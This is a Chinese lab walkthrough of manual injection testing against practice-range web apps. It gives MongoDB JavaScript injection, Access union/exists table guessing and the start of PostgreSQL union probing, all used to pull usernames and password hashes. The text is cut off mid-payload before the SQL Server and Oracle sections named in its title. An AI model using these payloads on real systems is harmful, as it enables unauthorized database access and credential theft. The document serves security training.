SQL手工注入漏洞测试-MongoDB数据库注入-Access数据库注入-PostgreSQL数据库注入-Sql Server数据库注入-Oracle数据库注入

本文围绕SQL手工注入漏洞测试展开,介绍了MongoDB、Access、PostgreSQL、Sql Server和Oracle数据库的注入测试方法。包括打开靶场环境、测试注入点、判断字段个数等步骤,还提及了可使用的注入工具,如NoSQLAttack、sqlmap、Pangolin等。

SQL手工注入漏洞测试


靶场地址: 墨者学院

MongoDB数据库注入

打开靶场进入环境

image-20230815092940670

点击此处跳转界面

image-20230815093036433

通过观察url信息,测试注入点

单引号找测试注入点
?id=1'
页面发生变化
构造简单的回显点
构造简单的链接测试回显:
?id=1'}); return ({
   
   title:1,content:'2

image-20230815093317765

爆库:
?id=1'}); return ({title:tojson(db),content:'1

image-20230815093403688

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
爆表:
?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1  查询有的集合(集合相当于mysql的表)

image-20230815093457086

爆字段:
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

image-20230815093617714

第二条数据:

image-20230815093942893

注意在查询字段过程当中要加上tojson进行转换,否则无法正常回显数据

image-20230815093738934

将得到的密码进行MD5解密即可,登录即可获得KEY

使用工具也可进行注入,由于sqlmap不支持MongoDB,所以可以使用NoSQLAttack工具进行注入:

工具下载地址:NoSQLAttack

具体使用参考官方文档即可

参考文档:MongoDB注入

菜鸟教程:MongoDB 查询文档

Access数据库注入

access数据库结构:

表名---->列名---->内容数据 不像其他的数据库一样、里面创建多个数据库然后才是表再是内容,而access的话只有若干张表。注入时获取表面和内容的字段信息靠猜或爆破

打开靶场进入环境

image-20230815101741694

点击此处跳转

image-20230815101821904

测试注入,观察回显是否正常

and 1=1 回显正常
and 1=2 回显不正常
或随便输入数值 回显不正常
加入单引号回显不正常

判断字段个数

order by 1 回显正常
order by 2 回显正常
order by 3 回显正常
order by 4 回显正常
order by 5 回显不正常,说明有4列字段

猜表名,看是否存在user,admin,show等敏感信息表,靠猜或者使用bp爆破

?id=1 and exists(select * from user)  测试是否存在user 
回显不正常,说明不存在
?id=1 and exists(select * from admin)  测试是否存在admin
回显正常说明存在

image-20230815103220775

image-20230815103244003

存在admin表,测回显位置
?id=1 union select 1,2,3,4 from admin

image-20230815103352832

接下来猜字段
and exists (select id from admin)
回显正常说明存在
逐一验证id,user,username,passwd,password等敏感字段是否存在,猜测或者bp爆破
回显正常则存在该字段,不正常说明不存在该字段

以此类推去猜测即可

爆字段的值
union select 1,username,passwd,id from admin

image-20230815104009953

成功获取用户名和密码,MD5解密,登录即可获得KEY

也可以使用工具:Pangolin

image-20230815105013357

选中想要的数据过后,开始执行,等待过后即可获取

image-20230815105128674

PostgreSQL数据库注入

打开靶场进入环境

image-20230815110010000

测试注入点

image-20230815110042388

判断注入点
and 1=1 回显正常
and 1=2 回显不正常
加单引号无回显

image-20230815110314899

判断字段的个数

?id=1 order by 1 回显正常
?id=1 order by 2 回显正常
?id=1 order by 3 回显正常
?id=1 order by 4 回显正常
?id=1 order by 5 无回显
说明有4列字段

image-20230815110529344

判断回显点

?id=-1 union select 1,2,3,4 无回显
?id=-1 union select
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值